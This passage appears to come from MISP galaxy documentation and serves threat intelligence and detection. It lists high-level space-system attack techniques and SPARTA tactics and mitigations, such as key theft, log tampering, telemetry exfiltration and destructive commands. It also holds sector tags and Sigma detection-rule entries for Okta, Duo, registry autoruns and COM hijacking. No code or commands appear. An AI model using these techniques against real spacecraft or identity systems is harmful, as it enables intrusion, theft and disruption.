Alter flight or payload software to maintain persistence or enable later privilege escalation.

The tag is: *misp-galaxy:scor-space-shield-techniques="Modify onboard software"*

Privilege escalation through bus hierarchy

Exploit weaknesses in bus arbitration or priority to gain higher-level access.

The tag is: *misp-galaxy:scor-space-shield-techniques="Privilege escalation through bus hierarchy"*

Bypass TT&C authentication

Exploit weak or absent authentication to access command uplinks.

The tag is: *misp-galaxy:scor-space-shield-techniques="Bypass TT&C authentication"*

Tamper with detection logs

Delete or alter on-board and ground telemetry logs to evade detection.

The tag is: *misp-galaxy:scor-space-shield-techniques="Tamper with detection logs"*

Cryptographic key theft

Obtain TT&C or payload encryption keys through interception, insider activity, or exploitation of key management.

The tag is: *misp-galaxy:scor-space-shield-techniques="Cryptographic key theft"*

Memory dump analysis

Extract credentials or keys from spacecraft or ground segment memory dumps.

The tag is: *misp-galaxy:scor-space-shield-techniques="Memory dump analysis"*

Onboard topology enumeration

Enumerate internal buses, payload interfaces, and control logic for attack path planning.

The tag is: *misp-galaxy:scor-space-shield-techniques="Onboard topology enumeration"*

Downlink sniffing

Collect telemetry and payload data from downlink channels to identify exploitable behavior.

The tag is: *misp-galaxy:scor-space-shield-techniques="Downlink sniffing"*

Pivot from payload to platform

Move laterally from compromised payload processors to the main platform control domain.

The tag is: *misp-galaxy:scor-space-shield-techniques="Pivot from payload to platform"*

Relay through compromised ground node

Use compromised ground stations as relays to other spacecraft or missions.

The tag is: *misp-galaxy:scor-space-shield-techniques="Relay through compromised ground node"*

Downlink data harvesting

Intercept and collect unencrypted telemetry and payload data streams.

The tag is: *misp-galaxy:scor-space-shield-techniques="Downlink data harvesting"*

Payload data tampering

Alter or replace collected payload data to mislead operators or users.

The tag is: *misp-galaxy:scor-space-shield-techniques="Payload data tampering"*

TM channel exfiltration

Use TM downlink to exfiltrate sensitive data from the spacecraft.

The tag is: *misp-galaxy:scor-space-shield-techniques="TM channel exfiltration"*

Payload channel exfiltration

Use payload mission data downlinks to smuggle exfiltrated data.

The tag is: *misp-galaxy:scor-space-shield-techniques="Payload channel exfiltration"*

RF C2 uplink

Establish command and control over the RF command uplink.

The tag is: *misp-galaxy:scor-space-shield-techniques="RF C2 uplink"*

Optical C2 uplink

Use optical or laser uplinks for covert C2 channels.

The tag is: *misp-galaxy:scor-space-shield-techniques="Optical C2 uplink"*

Jamming

Disrupt downlink or uplink communications with intentional interference.

The tag is: *misp-galaxy:scor-space-shield-techniques="Jamming"*

Flooding attacks

Overwhelm ground or space communication channels with traffic to deny service.

The tag is: *misp-galaxy:scor-space-shield-techniques="Flooding attacks"*

Onboard destructive command

Send commands to permanently damage payload, platform, or subsystems.

The tag is: *misp-galaxy:scor-space-shield-techniques="Onboard destructive command"*

Pre-inserted malicious hardware

Introduce malicious components pre-launch to enable destructive effects post-deployment.

The tag is: *misp-galaxy:scor-space-shield-techniques="Pre-inserted malicious hardware"*

SCOR SPARTA Mitigations

SPARTA Mitigations cluster derived from The Aerospace Corporation's SPARTA framework. Provides structured defensive measures against tactics and techniques used in space operations..

SCOR SPARTA Mitigations is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Aerospace Corporation

Access Control Enforcement

Restrict access to space segment and ground segment systems through authentication and authorization controls.

The tag is: *misp-galaxy:scor-sparta-mitigations="Access Control Enforcement"*

Multi-Factor Authentication

Require multi-factor authentication for operational control systems, mission management interfaces, and remote access points.

The tag is: *misp-galaxy:scor-sparta-mitigations="Multi-Factor Authentication"*

Encryption of Communications

Protect TT&C, payload, and inter-satellite communications with strong cryptographic protocols to reduce risk of interception and injection.

The tag is: *misp-galaxy:scor-sparta-mitigations="Encryption of Communications"*

Signal Authentication

Authenticate uplink signals to prevent spoofing and unauthorized command injection.

The tag is: *misp-galaxy:scor-sparta-mitigations="Signal Authentication"*

Secure Key Management

Establish secure key management processes for TT&C and payload encryption, including key rotation and compromise response.

The tag is: *misp-galaxy:scor-sparta-mitigations="Secure Key Management"*

Software Integrity Verification

Verify software integrity using code signing, checksums, and secure boot processes to prevent execution of malicious or altered software.

The tag is: *misp-galaxy:scor-sparta-mitigations="Software Integrity Verification"*

Segmentation and Isolation

Isolate mission-critical systems, including TT&C, from enterprise networks or public interfaces to limit lateral movement.

The tag is: *misp-galaxy:scor-sparta-mitigations="Segmentation and Isolation"*

Jamming and Interference Detection

Detect and respond to RF or optical jamming attempts using monitoring and signal integrity checks.

The tag is: *misp-galaxy:scor-sparta-mitigations="Jamming and Interference Detection"*

Redundancy and Resilience Engineering

Implement redundancy and failover mechanisms at the spacecraft and ground station level to maintain mission capability under attack.

The tag is: *misp-galaxy:scor-sparta-mitigations="Redundancy and Resilience Engineering"*

Monitoring and Anomaly Detection

Deploy anomaly detection systems to identify suspicious telemetry patterns, uplink anomalies, or unexpected system behavior.

The tag is: *misp-galaxy:scor-sparta-mitigations="Monitoring and Anomaly Detection"*

Secure Supply Chain Assurance

Enforce supply chain security practices for spacecraft components, ensuring traceability, verification, and tamper resistance.

The tag is: *misp-galaxy:scor-sparta-mitigations="Secure Supply Chain Assurance"*

Incident Response and Recovery Procedures

Develop and test incident response playbooks specific to space operations, including contingency uplink, safe-mode, and key rotation procedures.

The tag is: *misp-galaxy:scor-sparta-mitigations="Incident Response and Recovery Procedures"*

SCOR SPARTA Tactics

SPARTA Tactics cluster derived from Aerospace Corporation's SPARTA framework. These represent the adversary's tactical objectives in space attack campaigns..

SCOR SPARTA Tactics is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Aerospace Corporation

Reconnaissance

Adversary gathers information about the target space system to support follow-on operations.

The tag is: *misp-galaxy:scor-sparta-tactics="Reconnaissance"*

Resource Development

Adversary establishes and prepares resources to support future space attack operations.

The tag is: *misp-galaxy:scor-sparta-tactics="Resource Development"*

Initial Access

Adversary gains initial access to the target space or ground segment.

The tag is: *misp-galaxy:scor-sparta-tactics="Initial Access"*

Execution

Adversary runs malicious code, commands, or payloads on the target system.

The tag is: *misp-galaxy:scor-sparta-tactics="Execution"*

Persistence

Adversary maintains access to the target environment after initial compromise.

The tag is: *misp-galaxy:scor-sparta-tactics="Persistence"*

Privilege Escalation

Adversary gains higher-level permissions or control over target systems.

The tag is: *misp-galaxy:scor-sparta-tactics="Privilege Escalation"*

Defense Evasion

Adversary avoids detection or neutralizes defensive mechanisms.

The tag is: *misp-galaxy:scor-sparta-tactics="Defense Evasion"*

Credential Access

Adversary attempts to obtain access credentials for systems and services.

The tag is: *misp-galaxy:scor-sparta-tactics="Credential Access"*

Discovery

Adversary gathers knowledge about the internal environment post-compromise.

The tag is: *misp-galaxy:scor-sparta-tactics="Discovery"*

Lateral Movement

Adversary moves between systems or subsystems to gain additional control or access.

The tag is: *misp-galaxy:scor-sparta-tactics="Lateral Movement"*

Collection

Adversary gathers data of interest from the target environment.

The tag is: *misp-galaxy:scor-sparta-tactics="Collection"*

Command and Control

Adversary establishes control channels to maintain and direct operations.

The tag is: *misp-galaxy:scor-sparta-tactics="Command and Control"*

Exfiltration

Adversary steals data from the target system.

The tag is: *misp-galaxy:scor-sparta-tactics="Exfiltration"*

Impact

Adversary manipulates, disrupts, or destroys system functionality or data.

The tag is: *misp-galaxy:scor-sparta-tactics="Impact"*

SCOR SPARTA Techniques

SPARTA Techniques cluster derived from Aerospace Corporation's SPARTA STIX feed. Provides structured space threat technique taxonomy mapped to SPARTA tactics..

SCOR SPARTA Techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Aerospace Corporation

Reconnaissance of Space Systems

Adversary collects publicly available or signal-based information about space systems, ground stations, or mission elements to prepare operations.

The tag is: *misp-galaxy:scor-sparta-techniques="Reconnaissance of Space Systems"*

Target Listing and Enumeration

Enumerating mission components, infrastructure, or space assets to identify weak points in communications, telemetry, or control planes.

The tag is: *misp-galaxy:scor-sparta-techniques="Target Listing and Enumeration"*

Supply Chain Compromise

Compromise or manipulation of suppliers, integrators, or logistics pathways for space system components prior to deployment.

The tag is: *misp-galaxy:scor-sparta-techniques="Supply Chain Compromise"*

Ground Station Compromise

Targeting and breaching ground infrastructure supporting space assets, including TT&C facilities, to enable command manipulation or denial of service.

The tag is: *misp-galaxy:scor-sparta-techniques="Ground Station Compromise"*

On-Orbit Proximity Operations

Using a co-orbital or inspector satellite to approach, collect data from, or disrupt a target satellite in orbit.

The tag is: *misp-galaxy:scor-sparta-techniques="On-Orbit Proximity Operations"*

Signal Jamming

Interfering with TT&C, payload, or navigation links through targeted jamming of RF or optical channels.

The tag is: *misp-galaxy:scor-sparta-techniques="Signal Jamming"*

Spoofing and Injection

Crafting and transmitting malicious or spoofed signals to deceive space or ground segment systems, often mimicking trusted command paths.

The tag is: *misp-galaxy:scor-sparta-techniques="Spoofing and Injection"*

Payload Hijack

Taking unauthorized control of a satellite payload to disrupt mission or re-task the asset for adversarial objectives.

The tag is: *misp-galaxy:scor-sparta-techniques="Payload Hijack"*

Command and Control Channel Establishment

Establishing a persistent or covert command-and-control channel to control compromised space or ground assets.

The tag is: *misp-galaxy:scor-sparta-techniques="Command and Control Channel Establishment"*

Telemetry Exfiltration

Extracting telemetry or payload data covertly or overtly to degrade confidentiality or enable follow-on operations.

The tag is: *misp-galaxy:scor-sparta-techniques="Telemetry Exfiltration"*

Service Denial

Deliberately causing mission degradation or loss of service availability through cyber or physical attack vectors.

The tag is: *misp-galaxy:scor-sparta-techniques="Service Denial"*

Sector

Activity sectors.

Sector is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Unknown

The tag is: *misp-galaxy:sector="Unknown"*

Other

The tag is: *misp-galaxy:sector="Other"*

Academia - University

The tag is: *misp-galaxy:sector="Academia - University"*

Activists

The tag is: *misp-galaxy:sector="Activists"*

Aerospace

The tag is: *misp-galaxy:sector="Aerospace"*

Agriculture

The tag is: *misp-galaxy:sector="Agriculture"*

Arts

The tag is: *misp-galaxy:sector="Arts"*

Bank

The tag is: *misp-galaxy:sector="Bank"*

Chemical

The tag is: *misp-galaxy:sector="Chemical"*

Citizens

The tag is: *misp-galaxy:sector="Citizens"*

Civil Aviation

The tag is: *misp-galaxy:sector="Civil Aviation"*

Country

The tag is: *misp-galaxy:sector="Country"*

Culture

The tag is: *misp-galaxy:sector="Culture"*

Data Broker

The tag is: *misp-galaxy:sector="Data Broker"*

Defense

The tag is: *misp-galaxy:sector="Defense"*

Development

The tag is: *misp-galaxy:sector="Development"*

Diplomacy

The tag is: *misp-galaxy:sector="Diplomacy"*

Education

The tag is: *misp-galaxy:sector="Education"*

Electric

The tag is: *misp-galaxy:sector="Electric"*

Electronic

The tag is: *misp-galaxy:sector="Electronic"*

Employment

The tag is: *misp-galaxy:sector="Employment"*

Energy

The tag is: *misp-galaxy:sector="Energy"*

Entertainment

The tag is: *misp-galaxy:sector="Entertainment"*

Environment

The tag is: *misp-galaxy:sector="Environment"*

Finance

The tag is: *misp-galaxy:sector="Finance"*

Finance is also known as:

- Financial

Food

The tag is: *misp-galaxy:sector="Food"*

Game

The tag is: *misp-galaxy:sector="Game"*

Gas

The tag is: *misp-galaxy:sector="Gas"*

Government, Administration

The tag is: *misp-galaxy:sector="Government, Administration"*

Government, Administration is also known as:

- Government
- Administration

Health

The tag is: *misp-galaxy:sector="Health"*

Health is also known as:

- Healthcare

Higher education

The tag is: *misp-galaxy:sector="Higher education"*

Hotels

The tag is: *misp-galaxy:sector="Hotels"*

Infrastructure

The tag is: *misp-galaxy:sector="Infrastructure"*

Intelligence

The tag is: *misp-galaxy:sector="Intelligence"*

IT

The tag is: *misp-galaxy:sector="IT"*

IT - Hacker

The tag is: *misp-galaxy:sector="IT - Hacker"*

IT - ISP

The tag is: *misp-galaxy:sector="IT - ISP"*

IT - Security

The tag is: *misp-galaxy:sector="IT - Security"*

Justice

The tag is: *misp-galaxy:sector="Justice"*

Manufacturing

The tag is: *misp-galaxy:sector="Manufacturing"*

Maritime

The tag is: *misp-galaxy:sector="Maritime"*

Military

The tag is: *misp-galaxy:sector="Military"*

Multi-sector

The tag is: *misp-galaxy:sector="Multi-sector"*

News - Media

The tag is: *misp-galaxy:sector="News - Media"*

News - Media is also known as:

- News
- Media

NGO

The tag is: *misp-galaxy:sector="NGO"*

Oil

The tag is: *misp-galaxy:sector="Oil"*

Payment

The tag is: *misp-galaxy:sector="Payment"*

Pharmacy

The tag is: *misp-galaxy:sector="Pharmacy"*

Pharmacy is also known as:

- Pharmaceutical

Police - Law enforcement

The tag is: *misp-galaxy:sector="Police - Law enforcement"*

Research - Innovation

The tag is: *misp-galaxy:sector="Research - Innovation"*

Satellite navigation

The tag is: *misp-galaxy:sector="Satellite navigation"*

Security systems

The tag is: *misp-galaxy:sector="Security systems"*

Social networks

The tag is: *misp-galaxy:sector="Social networks"*

Space

The tag is: *misp-galaxy:sector="Space"*

Steel

The tag is: *misp-galaxy:sector="Steel"*

Telecoms

The tag is: *misp-galaxy:sector="Telecoms"*

Telecoms is also known as:

- Telecommunications

Think Tanks

The tag is: *misp-galaxy:sector="Think Tanks"*

Trade

The tag is: *misp-galaxy:sector="Trade"*

Transport

The tag is: *misp-galaxy:sector="Transport"*

Transport is also known as:

- Transportation

Travel

The tag is: *misp-galaxy:sector="Travel"*

Turbine

The tag is: *misp-galaxy:sector="Turbine"*

Tourism

The tag is: *misp-galaxy:sector="Tourism"*

Life science

The tag is: *misp-galaxy:sector="Life science"*

Biomedical

The tag is: *misp-galaxy:sector="Biomedical"*

High tech

The tag is: *misp-galaxy:sector="High tech"*

Opposition

The tag is: *misp-galaxy:sector="Opposition"*

Political party

The tag is: *misp-galaxy:sector="Political party"*

Hospitality

The tag is: *misp-galaxy:sector="Hospitality"*

Automotive

The tag is: *misp-galaxy:sector="Automotive"*

Metal

The tag is: *misp-galaxy:sector="Metal"*

Railway

The tag is: *misp-galaxy:sector="Railway"*

Water

The tag is: *misp-galaxy:sector="Water"*

Smart meter

The tag is: *misp-galaxy:sector="Smart meter"*

Retail

The tag is: *misp-galaxy:sector="Retail"*

Technology

The tag is: *misp-galaxy:sector="Technology"*

Engineering

The tag is: *misp-galaxy:sector="Engineering"*

Mining

The tag is: *misp-galaxy:sector="Mining"*

Sport

The tag is: *misp-galaxy:sector="Sport"*

Restaurant

The tag is: *misp-galaxy:sector="Restaurant"*

Semi-conductors

The tag is: *misp-galaxy:sector="Semi-conductors"*

Semi-conductors is also known as:

- Semiconductor

Insurance

The tag is: *misp-galaxy:sector="Insurance"*

Legal

The tag is: *misp-galaxy:sector="Legal"*

Shipping

The tag is: *misp-galaxy:sector="Shipping"*

Logistic

The tag is: *misp-galaxy:sector="Logistic"*

Construction

The tag is: *misp-galaxy:sector="Construction"*

Industrial

The tag is: *misp-galaxy:sector="Industrial"*

Industrial is also known as:

- ICS

Communication equipment

The tag is: *misp-galaxy:sector="Communication equipment"*

Security Service

The tag is: *misp-galaxy:sector="Security Service"*

Tax firm

The tag is: *misp-galaxy:sector="Tax firm"*

Television broadcast

The tag is: *misp-galaxy:sector="Television broadcast"*

Separatists

The tag is: *misp-galaxy:sector="Separatists"*

Dissidents

The tag is: *misp-galaxy:sector="Dissidents"*

Digital services

The tag is: *misp-galaxy:sector="Digital services"*

Digital infrastructure

The tag is: *misp-galaxy:sector="Digital infrastructure"*

Security actors

The tag is: *misp-galaxy:sector="Security actors"*

eCommerce

The tag is: *misp-galaxy:sector="eCommerce"*

Islamic forums

The tag is: *misp-galaxy:sector="Islamic forums"*

Journalist

The tag is: *misp-galaxy:sector="Journalist"*

Streaming service

The tag is: *misp-galaxy:sector="Streaming service"*

Publishing industry

The tag is: *misp-galaxy:sector="Publishing industry"*

Islamic organisation

The tag is: *misp-galaxy:sector="Islamic organisation"*

Casino

The tag is: *misp-galaxy:sector="Casino"*

Consulting

The tag is: *misp-galaxy:sector="Consulting"*

Online marketplace

The tag is: *misp-galaxy:sector="Online marketplace"*

DNS service provider

The tag is: *misp-galaxy:sector="DNS service provider"*

Veterinary

The tag is: *misp-galaxy:sector="Veterinary"*

Marketing

The tag is: *misp-galaxy:sector="Marketing"*

Video Sharing

The tag is: *misp-galaxy:sector="Video Sharing"*

Advertising

The tag is: *misp-galaxy:sector="Advertising"*

Investment

The tag is: *misp-galaxy:sector="Investment"*

Accounting

The tag is: *misp-galaxy:sector="Accounting"*

Programming

The tag is: *misp-galaxy:sector="Programming"*

Managed Services Provider

The tag is: *misp-galaxy:sector="Managed Services Provider"*

Lawyers

The tag is: *misp-galaxy:sector="Lawyers"*

Civil society

The tag is: *misp-galaxy:sector="Civil society"*

Petrochemical

The tag is: *misp-galaxy:sector="Petrochemical"*

Immigration

The tag is: *misp-galaxy:sector="Immigration"*

Non-profit organisation

The tag is: *misp-galaxy:sector="Non-profit organisation"*

Non-profit organisation is also known as:

- voluntary
- charitable
- non-profit-making
- not-for-profit

Sigma-Rules

MISP galaxy cluster based on Sigma Rules..

Sigma-Rules is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

@Joseliyo_Jstnk

OneLogin User Assumed Another User

Detects when an user assumed another user account.

The tag is: *misp-galaxy:sigma-rules="OneLogin User Assumed Another User"*

Table 14345. Table References

Links
https://developers.onelogin.com/api-docs/1/events/event-resource
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/onelogin/onelogin_assumed_another_user.yml

OneLogin User Account Locked

Detects when an user account is locked or suspended.

The tag is: *misp-galaxy:sigma-rules="OneLogin User Account Locked"*

Table 14346. Table References

Links
https://developers.onelogin.com/api-docs/1/events/event-resource/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/onelogin/onelogin_user_account_locked.yml

Okta Policy Rule Modified or Deleted

Detects when an Policy Rule is Modified or Deleted.

The tag is: *misp-galaxy:sigma-rules="Okta Policy Rule Modified or Deleted"*

Table 14347. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/

https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_policy_rule_modified_or_deleted.yml

Okta Identity Provider Created

Detects when a new identity provider is created for Okta.

The tag is: *misp-galaxy:sigma-rules="Okta Identity Provider Created"*

View relationships graph

Okta Identity Provider Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"

Table 14348. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_identity_provider_created.yml

Okta Admin Role Assigned to an User or Group

Detects when an the Administrator role is assigned to an user or group.

The tag is: *misp-galaxy:sigma-rules="Okta Admin Role Assigned to an User or Group"*

View relationships graph

Okta Admin Role Assigned to an User or Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

Table 14349. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_admin_role_assigned_to_user_or_group.yml

Okta Admin Functions Access Through Proxy

Detects access to Okta admin functions through proxy.

The tag is: *misp-galaxy:sigma-rules="Okta Admin Functions Access Through Proxy"*

Table 14350. Table References

Links
https://dataconomy.com/2023/10/23/okta-data-breach/
https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/
https://www.beyondtrust.com/blog/entry/okta-support-unit-breach
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_admin_activity_from_proxy_query.yml

New Okta User Created

Detects new user account creation

The tag is: *misp-galaxy:sigma-rules="New Okta User Created"*

Table 14351. Table References

Links
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_user_created.yml

Potential Okta Password in AlternateID Field

Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.

The tag is: *misp-galaxy:sigma-rules="Potential Okta Password in AlternateID Field"*

View relationships graph

Potential Okta Password in AlternateID Field has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

Table 14352. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data

https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_password_in_alternateid_field.yml

Okta Application Modified or Deleted

Detects when an application is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Okta Application Modified or Deleted"*

Table 14353. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_application_modified_or_deleted.yml

Okta API Token Revoked

Detects when a API Token is revoked.

The tag is: *misp-galaxy:sigma-rules="Okta API Token Revoked"*

Table 14354. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_api_token_revoked.yml

Okta Suspicious Activity Reported by End-user

Detects when an Okta end-user reports activity by their account as being potentially suspicious.

The tag is: *misp-galaxy:sigma-rules="Okta Suspicious Activity Reported by End-user"*

View relationships graph

Okta Suspicious Activity Reported by End-user has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1586.003" with estimative-language:likelihood-probability="almost-certain"

Table 14355. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://github.com/okta/workflows-templates/blob/1164f0eb71ce47c9ddc7d850e9ab87b5a2b42333/workflows/suspicious_activity_reported/readme.md
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_suspicious_activity_enduser_report.yml

Okta Security Threat Detected

Detects when an security threat is detected in Okta.

The tag is: *misp-galaxy:sigma-rules="Okta Security Threat Detected"*

Table 14356. Table References

Links
https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_security_threat_detected.yml

Okta Application Sign-On Policy Modified or Deleted

Detects when an application Sign-on Policy is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Okta Application Sign-On Policy Modified or Deleted"*

Table 14357. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_application_sign_on_policy_modified_or_deleted.yml

Okta API Token Created

Detects when a API token is created

The tag is: *misp-galaxy:sigma-rules="Okta API Token Created"*

Table 14358. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_api_token_created.yml

Okta User Account Locked Out

Detects when an user account is locked out.

The tag is: *misp-galaxy:sigma-rules="Okta User Account Locked Out"*

View relationships graph

Okta User Account Locked Out has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 14359. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_user_account_locked_out.yml

Okta Network Zone Deactivated or Deleted

Detects when an Network Zone is Deactivated or Deleted.

The tag is: *misp-galaxy:sigma-rules="Okta Network Zone Deactivated or Deleted"*

Table 14360. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_network_zone_deactivated_or_deleted.yml

Okta New Admin Console Behaviours

Detects when Okta identifies new activity in the Admin Console.

The tag is: *misp-galaxy:sigma-rules="Okta New Admin Console Behaviours"*

View relationships graph

Okta New Admin Console Behaviours has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 14361. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_new_behaviours_admin_console.yml

Okta FastPass Phishing Detection

Detects when Okta FastPass prevents a known phishing site.

The tag is: *misp-galaxy:sigma-rules="Okta FastPass Phishing Detection"*

View relationships graph

Okta FastPass Phishing Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

Table 14362. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://sec.okta.com/fastpassphishingdetection
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_fastpass_phishing_detection.yml

Okta Admin Role Assignment Created

Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence

The tag is: *misp-galaxy:sigma-rules="Okta Admin Role Assignment Created"*

Table 14363. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/

https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_admin_role_assignment_created.yml

Okta Unauthorized Access to App

Detects when unauthorized access to app occurs.

The tag is: *misp-galaxy:sigma-rules="Okta Unauthorized Access to App"*

Table 14364. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_unauthorized_access_to_app.yml

Okta Policy Modified or Deleted

Detects when an Okta policy is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Okta Policy Modified or Deleted"*

Table 14365. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_policy_modified_or_deleted.yml

Okta MFA Reset or Deactivated

Detects when an attempt at deactivating or resetting MFA.

The tag is: *misp-galaxy:sigma-rules="Okta MFA Reset or Deactivated"*

View relationships graph

Okta MFA Reset or Deactivated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006" with estimative-language:likelihood-probability="almost-certain"

Table 14366. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://developer.okta.com/docs/reference/api/event-types/
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_mfa_reset_or_deactivated.yml

Okta User Session Start Via An Anonymising Proxy Service

Detects when an Okta user session starts where the user is behind an anonymising proxy service.

The tag is: *misp-galaxy:sigma-rules="Okta User Session Start Via An Anonymising Proxy Service"*

View relationships graph

Okta User Session Start Via An Anonymising Proxy Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 14367. Table References

Links
https://developer.okta.com/docs/reference/api/system-log/
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
https://github.com/SigmaHQ/sigma/tree/master/rules/identity/okta/okta_user_session_start_via_anonymised_proxy.yml

Cisco Duo Successful MFA Authentication Via Bypass Code

Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.

The tag is: *misp-galaxy:sigma-rules="Cisco Duo Successful MFA Authentication Via Bypass Code"*

Table 14368. Table References

Links
https://duo.com/docs/adminapi#logs
https://help.duo.com/s/article/6327?language=en_US

https://github.com/SigmaHQ/sigma/tree/master/rules/identity/cisco_duo/cisco_duo_mfa_bypass_via_bypass_code.yml

CurrentVersion Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="CurrentVersion Autorun Keys Modification"*

View relationships graph

CurrentVersion Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14369. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml

COM Hijacking via TreatAs

Detect modification of TreatAs key to enable "rundll32.exe -sta" command

The tag is: *misp-galaxy:sigma-rules="COM Hijacking via TreatAs"*

View relationships graph

COM Hijacking via TreatAs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 14370. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md
https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml

